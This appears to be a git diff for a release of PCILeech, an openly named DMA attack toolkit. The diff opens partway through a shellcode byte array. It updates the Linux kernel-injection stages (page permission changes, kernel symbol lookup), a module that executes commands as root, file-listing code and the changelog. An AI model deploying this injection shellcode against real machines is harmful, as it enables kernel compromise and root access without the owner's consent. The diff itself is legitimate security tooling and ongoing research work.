0x20, 0xe7, 0x79, 0x49, 0x39, + 0x00, 0x75, 0x76, 0x41, 0xf6, 0x40, 0x10, 0x10, 0x75, 0x6f, 0x49, 0x8b, 0x40, 0x08, 0x48, 0x83, + 0xf8, 0x01, 0x75, 0x11, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x9f, 0xf9, 0xff, + 0xff, 0x8b, 0xc0, 0xeb, 0x59, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, + 0x48, 0x8b, 0xcb, 0xe8, 0x04, 0xfe, 0xff, 0xff, 0xeb, 0xe7, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x0f, + 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0xfe, 0xff, 0xff, 0xeb, 0xd2, 0x48, + 0x83, 0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xa2, 0xf8, + 0xff, 0xff, 0xeb, 0xbd, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1b, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, + 0x8b, 0xcb, 0xe8, 0xdd, 0xf8, 0xff, 0xff, 0xeb, 0xa8, 0xb8, 0x06, 0x00, 0x00, 0xf0, 0x48, 0x89, + 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xc0, 0x00, 0x00, 0x00, 0x5b, 0xc3, 0x00 }; const BYTE MACOS_VFS_KSH[] = { diff --git a/pcileech/util.c b/pcileech/util.c index e199324..2bf76f1 100644 --- a/pcileech/util.c +++ b/pcileech/util.c @@ -562,7 +562,7 @@ VOID Util_CreateSignatureLinuxGeneric(_In_ QWORD paBase, Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE2", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb); Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb); pSignature->chunk[2].cbOffset = (DWORD)(dwBaseFnHijack2M + (vaFnHijack & 0x1fffff)); - pSignature->chunk[3].cbOffset = 0xd00; + pSignature->chunk[3].cbOffset = 0xcc0; pSignature->chunk[4].cbOffset = (DWORD)(dwBaseKallsyms2M + (vaFnKallsyms & 0x1fffff)); pSignature->chunk[0].qwAddress = paBase + dwBaseFnHijack2M + (vaFnHijack & 0x1ff000); pSignature->chunk[1].qwAddress = paBase; diff --git a/pcileech/version.h b/pcileech/version.h index c5eb33e..91fa0e0 100644 --- a/pcileech/version.h +++ b/pcileech/version.h @@ -2,9 +2,9 @@ #define STRINGIZE(s) STRINGIZE2(s) #define VERSION_MAJOR 4 -#define VERSION_MINOR 16 -#define VERSION_REVISION 3 -#define VERSION_BUILD 40 +#define VERSION_MINOR 17 +#define VERSION_REVISION 0 +#define VERSION_BUILD 41 #define VER_FILE_DESCRIPTION_STR "The PCILeech Direct Memory Access Attack Toolkit" #define VER_FILE_VERSION VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD diff --git a/pcileech/vfs.c b/pcileech/vfs.c index 6cdbf8b..37ab2bd 100644 --- a/pcileech/vfs.c +++ b/pcileech/vfs.c @@ -71,6 +71,7 @@ static PVFS_GLOBAL_STATE g_vfs = NULL; _Success_(return) BOOL VfsInitOperation(_Out_ PVFS_OPERATION pop, _In_ QWORD qwOperation, _In_ LPSTR uszPath) { + DWORD o; ZeroMemory(pop, sizeof(VFS_OPERATION)); pop->magic = VFS_OP_MAGIC; pop->op = qwOperation; @@ -85,7 +86,9 @@ BOOL VfsInitOperation(_Out_ PVFS_OPERATION pop, _In_ QWORD qwOperation, _In_ LPS return TRUE; } } else { - CharUtil_UtoU(uszPath, -1, (PBYTE)pop->szFileName, (DWORD)sizeof(pop->szFileName), NULL, NULL, CHARUTIL_FLAG_STR_BUFONLY | CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR); + pop->szFileName[0] = '/'; + o = (uszPath[0] == '\\') ? 0 : 1; + CharUtil_UtoU(uszPath, -1, (PBYTE)pop->szFileName + o, (DWORD)sizeof(pop->szFileName) - o, NULL, NULL, CHARUTIL_FLAG_STR_BUFONLY | CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR); CharUtil_ReplaceAllA(pop->szFileName, '\\', '/'); return TRUE; } diff --git a/pcileech/vfslist.c b/pcileech/vfslist.c index 56a2abb..95062d9 100644 --- a/pcileech/vfslist.c +++ b/pcileech/vfslist.c @@ -307,12 +307,13 @@ BOOL VfsList_ListDirectoryW(_In_ LPWSTR wszPath, _In_opt_ PVOID ctx, _In_opt_ PF /* * Evaluate whether a given cachemap entry is still valid time wise. +* -- H = not used * -- qwContext * -- qwKey * -- pvObject * -- return */ -BOOL VfsList_ValidEntry(_Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVFSLISTOB_DIRECTORY pvObject) +BOOL VfsList_ValidEntry(_In_opt_ VMM_HANDLE H, _Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVFSLISTOB_DIRECTORY pvObject) { UNREFERENCED_PARAMETER(qwContext); UNREFERENCED_PARAMETER(qwKey); @@ -343,8 +344,9 @@ _Success_(return) BOOL VfsList_Initialize(_In_ VFS_LIST_U_PFN pfnVfsListU, _In_ DWORD dwCacheValidMs, _In_ DWORD cCacheMaxEntries, _In_ BOOL fSingleThread) { g_ctxVfsList.pcm = ObCacheMap_New( + NULL, cCacheMaxEntries, - (BOOL(*)(PQWORD, QWORD, PVOID))VfsList_ValidEntry, + (BOOL(*)(VMM_HANDLE, PQWORD, QWORD, PVOID))VfsList_ValidEntry, OB_CACHEMAP_FLAGS_OBJECT_OB ); if(!g_ctxVfsList.pcm) { return FALSE; } diff --git a/pcileech_shellcode/lx64_common.h b/pcileech_shellcode/lx64_common.h index ee71a39..c33cc77 100644 --- a/pcileech_shellcode/lx64_common.h +++ b/pcileech_shellcode/lx64_common.h @@ -34,6 +34,29 @@ extern QWORD m_phys_to_virt(QWORD p1); extern QWORD m_page_to_phys(QWORD p1); extern VOID CacheFlush(); +typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main control program) + QWORD msleep; + QWORD alloc_pages_current; + QWORD set_memory_x; + QWORD __free_pages; + QWORD memcpy; + QWORD schedule; + QWORD do_gettimeofday; + QWORD walk_system_ram_range; + QWORD iounmap; + QWORD ioremap; + // optional values below - do not use + QWORD ktime_get_real_ts64; // do_gettimeofday alternative if export is missing. + QWORD _ioremap_nocache; + QWORD getnstimeofday64; // do_gettimeofday alternative if export is missing. + QWORD alloc_pages; + QWORD set_memory_nx; // 6.4+ kernels + QWORD set_memory_rox; // 6.4+ kernels + QWORD set_memory_rw; // 6.4+ kernels + QWORD _wincall_asm_callback; // linux ksh-module specific callback address (settable by ksh module). [offset: 0x88 / 0x388] + QWORD ReservedFutureUse[14]; +} FNLX, *PFNLX; + /* * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and @@ -64,7 +87,10 @@ typedef struct tdKMDDATA { QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] - PVOID fn[32]; // [0x300] used by shellcode to store function pointers. + union { + FNLX fnlx; // [0x300] used by shellcode to store function pointers. + PVOID fn[32]; // [0x300] used by shellcode to store function pointers. + }; CHAR dataInStr[MAX_PATH]; // [0x400] string in-data CHAR ReservedFutureUse2[252]; CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data diff --git a/pcileech_shellcode/lx64_common_a.asm b/pcileech_shellcode/lx64_common_a.asm index 9e245e9..f0503d4 100644 --- a/pcileech_shellcode/lx64_common_a.asm +++ b/pcileech_shellcode/lx64_common_a.asm @@ -22,6 +22,9 @@ EXTRN c_EntryPoint:NEAR .CODE main PROC + PUSH rcx ; PKMDDATA + MOV rax, 0f00ff0011337fed5h ; magic + PUSH rax ; magic PUSH rsi MOV rsi, rsp AND rsp, 0FFFFFFFFFFFFFFF0h @@ -29,6 +32,8 @@ main PROC CALL c_EntryPoint MOV rsp, rsi POP rsi + POP rax + POP rax RET main ENDP @@ -114,18 +119,35 @@ SysVCall PROC SysVCall ENDP ; ------------------------------------------------------------------ -; WinCall callback function pointer. +; Fetch the address of PKMDDATA from the stack by looking for the +; magic value 0f00ff0011337fed5h. ; ------------------------------------------------------------------ -data_wincall_fnptr dq 0 +KMDDATA_FromStackMagic PROC + PUSH rcx + PUSH rdx + XOR rax, rax + MOV rdx, 0f00ff0011337fed5h + KMDDATA_FromStack_Loop: + MOV rcx, [rsp + 8 * rax] + INC rax + CMP rcx, rdx + JNE KMDDATA_FromStack_Loop + MOV rax, [rsp + 8 * rax] + POP rdx + POP rcx + RET +KMDDATA_FromStackMagic ENDP ; ------------------------------------------------------------------ ; Set the (windows x64 calling convention compatible) callback function -; to forward callbacks sent to WinCall to. -; NB! This requires the memory to be RWX. -; rcx -> address of kallsyms_lookup_name +; to forward callbacks sent to WinCall to. Address is saved in: +; KMDDATA->fn._wincall_asm_callback +; rcx <- address of callback function ; ------------------------------------------------------------------ WinCallSetFunction PROC - MOV [data_wincall_fnptr], rcx + CALL KMDDATA_FromStackMagic + ADD rax, 388h + MOV [rax], rcx RET WinCallSetFunction ENDP @@ -134,7 +156,7 @@ WinCallSetFunction ENDP ; to the Windows Windows X64 calling convention. ; Function typically called by the Linux kernel as a callback function. ; The address of the Windows X64 function to forward the call to is -; set by 'WinCallSetFunction'. +; set by 'WinCallSetFunction' (KMDDATA->fn._wincall_asm_callback). ; A maximum of six (6) parameters are supported. ; rdi -> rcx ; rsi -> rdx @@ -156,7 +178,10 @@ WinCall PROC MOV rdx, rsi MOV rcx, rdi - MOV rax, [data_wincall_fnptr] + CALL KMDDATA_FromStackMagic ; KMDDATA->fn._wincall_asm_callback + ADD rax, 388h + MOV rax, [rax] + CALL rax MOV rsp, r15 POP r15 diff --git a/pcileech_shellcode/lx64_exec_root.c b/pcileech_shellcode/lx64_exec_root.c index e6d2633..6a08dba 100644 --- a/pcileech_shellcode/lx64_exec_root.c +++ b/pcileech_shellcode/lx64_exec_root.c @@ -4,7 +4,7 @@ // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_exec_root.c // ml64 lx64_common_a.asm /Felx64_exec_root.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_exec_root.obj lx64_common.obj -// shellcode64.exe -o lx64_exec_root.exe "EXECUTE A COMMAND AS ROOT \nLINUX X64 EDITION \n===============================================================\nExecute a program as root. \nREQUIRED OPTIONS: \n -s : command to execute including parameters \n Example: '-s touch /tmp/testfile.txt' \n===== EXECUTION ATTEMPT DETAILED RESULT INFORMATION ===========\nEXECUTE AS ROOT RESULT: %s\nRESULT CODE : 0x%08X\n===============================================================" +// shellcode64.exe -o lx64_exec_root.exe "EXECUTE A COMMAND AS ROOT \nLINUX X64 EDITION \n===============================================================\nExecute a program as root. \nREQUIRED OPTIONS: \n -s : command to execute including parameters \n Example: '-s touch /tmp/testfile.txt' \n -1 : run flag - set to non zero to execute command. \n===== EXECUTION ATTEMPT DETAILED RESULT INFORMATION ===========\nEXECUTE AS ROOT RESULT: %s\nRESULT CODE : 0x%08X\n===============================================================" // #include "lx64_common.h" @@ -33,6 +33,11 @@ VOID c_EntryPoint(PKMDDATA pk) CHAR e2[] = { 'P', 'A', 'T', 'H', '=', '/', 'b', 'i', 'n', ':', '/', 's', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 's', 'b', 'i', 'n', 0 }; char* envp[4] = { e0, e1, e2, NULL }; + if(!pk->dataIn[1]) { + pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD; + return; + } + if (!LookupFunctions2(pk, &fn2)) { pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; return; diff --git a/pcileech_shellcode/lx64_stage2.asm b/pcileech_shellcode/lx64_stage2.asm index c9a32c7..4cf38a3 100644 --- a/pcileech_shellcode/lx64_stage2.asm +++ b/pcileech_shellcode/lx64_stage2.asm @@ -120,18 +120,7 @@ setup PROC CALL m_phys_to_virt MOV r12, rax ; ---------------------------------------------------- - ; 2: SET CODE PAGE TO EXECUTABLE - ; ---------------------------------------------------- - LEA rax, main - LEA rdi, str_set_memory_x - CALL r14 - TEST rax, rax - JZ error - MOV rdi, r12 - MOV rsi, 2 - CALL rax - ; ---------------------------------------------------- - ; 3: CLEAR AND COPY STAGE3 PRE BINARY TO AREA + ; 2: CLEAR AND COPY STAGE3 PRE BINARY TO AREA ; ---------------------------------------------------- MOV rdi, r12 CALL clear_8k @@ -147,6 +136,22 @@ setup PROC TEST rdi, rdi JNZ copy_stage3_pre_loop ; ---------------------------------------------------- + ; 3: SET CODE PAGE TO EXECUTABLE + ; ---------------------------------------------------- + LEA rdi, str_set_memory_rox + CALL r14 + TEST rax, rax + JNZ set_memory_exec + LEA rdi, str_set_memory_x + CALL r14 + TEST rax, rax + JZ error + set_memory_exec: + MOV rdi, r12 + ADD rdi, 1000h + MOV rsi, 1 + CALL rax + ; ---------------------------------------------------- ; 4: CREATE THREAD & SET UP DATA AREA ; (try kthread_create_on_node 1st, kthread_create 2nd) ; ---------------------------------------------------- @@ -295,6 +300,7 @@ str_kthread_create db 'kthread_create', 0 str_kthread_create_on_node db 'kthread_create_on_node', 0 str_alloc_pages_current db 'alloc_pages_current', 0 str_alloc_pages db 'alloc_pages', 0 +str_set_memory_rox db 'set_memory_rox', 0 str_set_memory_x db 'set_memory_x', 0 str_wake_up_process db 'wake_up_process', 0 str_page_offset_base db 'page_offset_base', 0 diff --git a/pcileech_shellcode/lx64_stage3.asm b/pcileech_shellcode/lx64_stage3.asm index 8ab42b7..4b9ebd5 100644 --- a/pcileech_shellcode/lx64_stage3.asm +++ b/pcileech_shellcode/lx64_stage3.asm @@ -59,7 +59,7 @@ LookupFunctions PROC PUSH r13 MOV r15, rcx ; address of kallsyms_lookup_name MOV r14, rdx ; ptr to FNLX struct - MOV r13, 14*8 ; num functions * 8 + MOV r13, 17*8 ; num functions * 8 ; ---------------------------------------------------- ; 1: PUSH FUNCTION NAME POINTERS ON STACK ; ---------------------------------------------------- @@ -91,6 +91,12 @@ LookupFunctions PROC PUSH rax LEA rax, str_alloc_pages PUSH rax + LEA rax, str_set_memory_nx + PUSH rax + LEA rax, str_set_memory_rox + PUSH rax + LEA rax, str_set_memory_rw + PUSH rax ; ---------------------------------------------------- ; 2: LOOKUP FUNCTION POINTERS BY NAME ; ---------------------------------------------------- @@ -130,6 +136,9 @@ LookupFunctions PROC LookupFunctions ENDP str_alloc_pages_current db 'alloc_pages_current', 0 +str_set_memory_nx db 'set_memory_nx', 0 +str_set_memory_rox db 'set_memory_rox', 0 +str_set_memory_rw db 'set_memory_rw', 0 str_set_memory_x db 'set_memory_x', 0 str__free_pages db '__free_pages', 0 str_memcpy db 'memcpy', 0 diff --git a/pcileech_shellcode/lx64_stage3_c.c b/pcileech_shellcode/lx64_stage3_c.c index 41af447..647a805 100644 --- a/pcileech_shellcode/lx64_stage3_c.c +++ b/pcileech_shellcode/lx64_stage3_c.c @@ -53,7 +53,11 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co QWORD _ioremap_nocache; QWORD getnstimeofday64; // do_gettimeofday alternative if export is missing. QWORD alloc_pages; - QWORD ReservedFutureUse[18]; + QWORD set_memory_nx; // 6.4+ kernels + QWORD set_memory_rox; // 6.4+ kernels + QWORD set_memory_rw; // 6.4+ kernels + QWORD _wincall_asm_callback; // linux ksh-module specific callback address (settable by ksh module). [offset: 0x88 / 0x388] + QWORD ReservedFutureUse[14]; } FNLX, *PFNLX; #define KMDDATA_OPERATING_SYSTEM_LINUX 0x02 @@ -193,6 +197,7 @@ BOOL LookupFunctionsEx(PKMDDATA pk) // size of memory operation VOID stage3_c_EntryPoint(PKMDDATA pk) { + BOOL fROX; QWORD pStructPages, qwMM, qw; TIMEVAL timeLast, timeCurrent; // 0: set up symbols and kmd data @@ -202,13 +207,16 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) pk->_status = 0xf0000001; return; } + fROX = pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx; // 1: allocate memory if(0 == (pStructPages = AllocateMemoryDma(pk, TRUE))) { pk->_status = 0xf0000002; return; } pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical); - SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096); + if(!fROX) { + SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096); + } // 2: main dump loop SysVCall(pk->fn.do_gettimeofday, &timeLast); while(TRUE) { @@ -242,8 +250,15 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) CacheFlush(); } if(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer + if(fROX) { + SysVCall(pk->fn.set_memory_rox, pk->DMAAddrVirtual, 0x80); + } ((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrVirtual)(pk, pk->dataIn, pk->dataOut); pk->_result = TRUE; + if(fROX) { + SysVCall(pk->fn.set_memory_nx, pk->DMAAddrVirtual, 0x80); + SysVCall(pk->fn.set_memory_rw, pk->DMAAddrVirtual, 0x80); + } } if(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE // qw :: 0 [all in range], 1 [some in range], 0xffffffff [none in range] diff --git a/pcileech_shellcode/lx64_vfs.c b/pcileech_shellcode/lx64_vfs.c index cfae31b..b9d571c 100644 --- a/pcileech_shellcode/lx64_vfs.c +++ b/pcileech_shellcode/lx64_vfs.c @@ -124,7 +124,7 @@ struct kstat_4_11 { struct timespec ctime; struct timespec btime; QWORD blocks; - QWORD _pcileech_dummy_extra[2]; + QWORD _pcileech_dummy_extra[4]; }; //----------------------------------------------------------------------------- @@ -208,11 +208,15 @@ static int VfsList_CallbackIterateDir(PDIR_CONTEXT_EXTENDED ctx, const char *nam UNREFERENCED_PARAMETER(pos); QWORD i; PVFS_RESULT_FILEINFO pfi; + // note: function signature of filldir_t signature changed from returning int + // to returning bool in kernel 6.1. set_memory_rox was added in kernel 6.2 - + // since this is close enough use it. For kernel 6.2 iterate will fail after + // first item, but it's a small enough issue to ignore for now. + int retval = ctx->pk->fnlx.set_memory_rox ? 1 : 0; if(ctx->pk->dataOutExtraLength + sizeof(VFS_RESULT_FILEINFO) > ctx->pk->dataOutExtraLengthMax) { - return 0; + return retval; } pfi = (PVFS_RESULT_FILEINFO)(ctx->pk->DMAAddrVirtual + ctx->pk->dataOutExtraOffset + ctx->pk->dataOutExtraLength); - SysVCall(ctx->fn->memset, pfi, 0, sizeof(VFS_RESULT_FILEINFO)); switch(d_type) { case DT_REG: pfi->flags = VFS_FLAGS_FILE_NORMAL; @@ -227,11 +231,12 @@ static int VfsList_CallbackIterateDir(PDIR_CONTEXT_EXTENDED ctx, const char *nam pfi->flags = VFS_FLAGS_FILE_OTHER; break; } - for(i = 0; i < len && i < MAX_PATH - 1; i++) { + for(i = 0; (i < len) && (i < MAX_PATH - 1); i++) { pfi->wszFileName[i] = name[i]; } + pfi->wszFileName[i] = 0; ctx->pk->dataOutExtraLength += sizeof(VFS_RESULT_FILEINFO); - return 0; + return retval; } QWORD UnixToWindowsFiletime(QWORD tv) { @@ -254,8 +259,10 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop) if(0 == pop->szFileName[o]) { break; } sz[o] = pop->szFileName[o]; } - sz[o] = '/'; - o++; + if(o && (sz[o - 1] != '/')) { + sz[o] = '/'; + o++; + } pk->dataOut[2] = cfi; for(p = 0; p < cfi; p++) { pfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + p * sizeof(VFS_RESULT_FILEINFO)); @@ -266,14 +273,17 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop) } sz[o + i] = 0; if(pfn2->vfs_statx_opt) { // 4.11 kernels and later. - result = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS); - if(result && pfn2->kern_path_opt && pfn2->vfs_getattr_nosec_opt) { - // 5.12 kernels and later will fail vfs_statx - use alternative method: + result = 1; + // 5.12 kernels and later will fail vfs_statx - use alternative method first: + if(pfn2->kern_path_opt && pfn2->vfs_getattr_nosec_opt) { result = SysVCall(pfn2->kern_path_opt, sz, AT_NO_AUTOMOUNT, path); if(0 == result) { result = SysVCall(pfn2->vfs_getattr_nosec_opt, path, &kstat_4_11, STATX_BASIC_STATS, 0); if(pfn2->path_put_opt) { SysVCall(pfn2->path_put_opt, path); } } + } else { + // This will fail on kernel 5.18 and later due to signature change of vfs_statx + result = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS); } if(0 == result) { pfi->cb = kstat_4_11.size; @@ -281,7 +291,7 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop) pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_11.ctime.tv_sec); pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_11.mtime.tv_sec); } - } else { // 4.10 kernels and earlier. + } else if(pfn2->vfs_stat_opt) { // 4.10 kernels and earlier. result = SysVCall(pfn2->vfs_stat_opt, sz, &kstat_4_10); if(0 == result) { pfi->cb = kstat_4_10.size; @@ -304,6 +314,7 @@ STATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop) } WinCallSetFunction((QWORD)VfsList_CallbackIterateDir); dce.ctx.actor = (QWORD)WinCall; + dce.ctx.pos = 0; dce.fn = pfn2; dce.pk = pk; dce.pop = pop; diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj index b2eee75..c0fa8b2 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj @@ -52,6 +52,7 @@ + diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters index c067589..82263f6 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters @@ -147,6 +147,9 @@ Source Files\umd_exec + + Source Files\exec + diff --git a/readme.md b/readme.md index 5cc6ea3..c0c0c77 100644 --- a/readme.md +++ b/readme.md @@ -60,7 +60,6 @@ Please find a summary of the supported hardware based memory acquisition methods | [NeTV2/UDP](https://github.com/ufrisk/LeechCore/wiki/Device_RawUDP) | [FPGA](https://github.com/ufrisk/pcileech-fpga/tree/master/NeTV2) | UDP | 7MB/s | Yes | Yes | No | | | [USB3380-EVB](https://github.com/ufrisk/LeechCore/wiki/Device_USB3380) | USB3380 | USB3 | 150MB/s | No | No | No | | | [PP3380](https://github.com/ufrisk/LeechCore/wiki/Device_USB3380) | USB3380 | USB3 | 150MB/s | No | No | No | | -| [SP605/TCP](https://github.com/ufrisk/LeechCore/wiki/Device_SP605TCP) | FPGA | TCP | 100kB/s | Yes | Yes | Yes | | | [DMA patched HP iLO](https://github.com/ufrisk/LeechCore/wiki/Device_RawTCP) | BMC | TCP | 1MB/s | Yes | No | Yes | | | ### Software based memory aqusition methods: @@ -168,7 +167,7 @@ PCILeech, MemProcFS and LeechCore are open source but not open contribution. PCI Links: ====== * Twitter: [![Twitter](https://img.shields.io/twitter/follow/UlfFrisk?label=UlfFrisk&style=social)](https://twitter.com/intent/follow?screen_name=UlfFrisk) -* Discord: [![Discord | Porchetta Industries](https://img.shields.io/discord/736724457258745996.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://discord.gg/sEkn3aa) +* Discord: [![Discord - PCILeech/MemProcFS](https://img.shields.io/discord/1155439643395883128.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://discord.gg/BCmfBhDPXX) * PCILeech: https://github.com/ufrisk/pcileech * PCILeech FPGA: https://github.com/ufrisk/pcileech-fpga * LeechCore: https://github.com/ufrisk/LeechCore @@ -287,7 +286,10 @@ v4.1 * Command `none` added. * Options `-bar-ro` and `-bar-rw` added. -Latest: +[v4.17](https://github.com/ufrisk/pcileech/releases/tag/v4.17) * I/O BAR support. -* Linux KMD signature update (LINUX_X64_48) to support latest Ubuntu kernels. -* New linux kernel module: lx64_exec_root. +* Linux improvements: + - KMD signature update (LINUX_X64_48) to support latest Ubuntu kernels. + - Update of kernel modules to support latest kernels. + - New KMD signature - LINUX_X64_MAP - specify target system kernel System.map in -in option. + - New kernel module: lx64_exec_root.